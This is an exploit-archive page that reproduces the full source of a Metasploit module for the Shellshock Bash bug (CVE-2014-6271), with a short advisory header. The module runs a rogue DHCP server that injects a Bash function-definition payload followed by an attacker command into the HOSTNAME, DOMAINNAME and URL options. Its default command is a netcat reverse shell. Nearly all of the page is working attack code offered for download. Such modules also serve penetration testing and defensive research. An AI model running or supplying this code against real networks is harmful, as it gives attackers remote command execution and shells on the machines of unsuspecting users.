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DHCP Client Bash Environment Variable Code Injection

DHCP Client Bash Environment Variable Code Injection
Posted Sep 26, 2014
Authored by Ramon de C Valle, scriptjunkie, Stephane Chazelas | Site metasploit.com

This Metasploit module exploits a code injection in specially crafted environment variables in Bash, specifically targeting dhclient network configuration scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.

tags | exploit, bash
advisories | CVE-2014-6271
MD5 | 19a0fcbe08d157ed9445eba999ba7bf9

DHCP Client Bash Environment Variable Code Injection

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/proto/dhcp'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::DHCPServer

def initialize
super(
'Name' => 'DHCP Client Bash Environment Variable Code Injection',
'Description' => %q{
This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting dhclient network configuration
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
},
'Author' =>
[
'scriptjunkie', 'apconole[at]yahoo.com', # Original DHCP Server auxiliary module
'Stephane Chazelas', # Vulnerability discovery
'Ramon de C Valle' # This module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2014-6271'],
['CWE', '94'],
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
['URL', 'http://seclists.org/oss-sec/2014/q3/649',],
['URL', 'https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/',]
],
'DisclosureDate' => 'Sep 24 2014'
)

register_options(
[
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
OptString.new('ROUTER', [ false, 'The router IP address' ]),
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
], self.class)
end

def run
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"

# This loop is required because the current DHCP Server exits after the
# first interaction.
loop do
begin
start_service({
'HOSTNAME' => value,
'DOMAINNAME' => value,
'URL' => value
}.merge(datastore))

while dhcp.thread.alive?
select(nil, nil, nil, 2)
end

rescue Interrupt
break

ensure
stop_service
end
end
end

end

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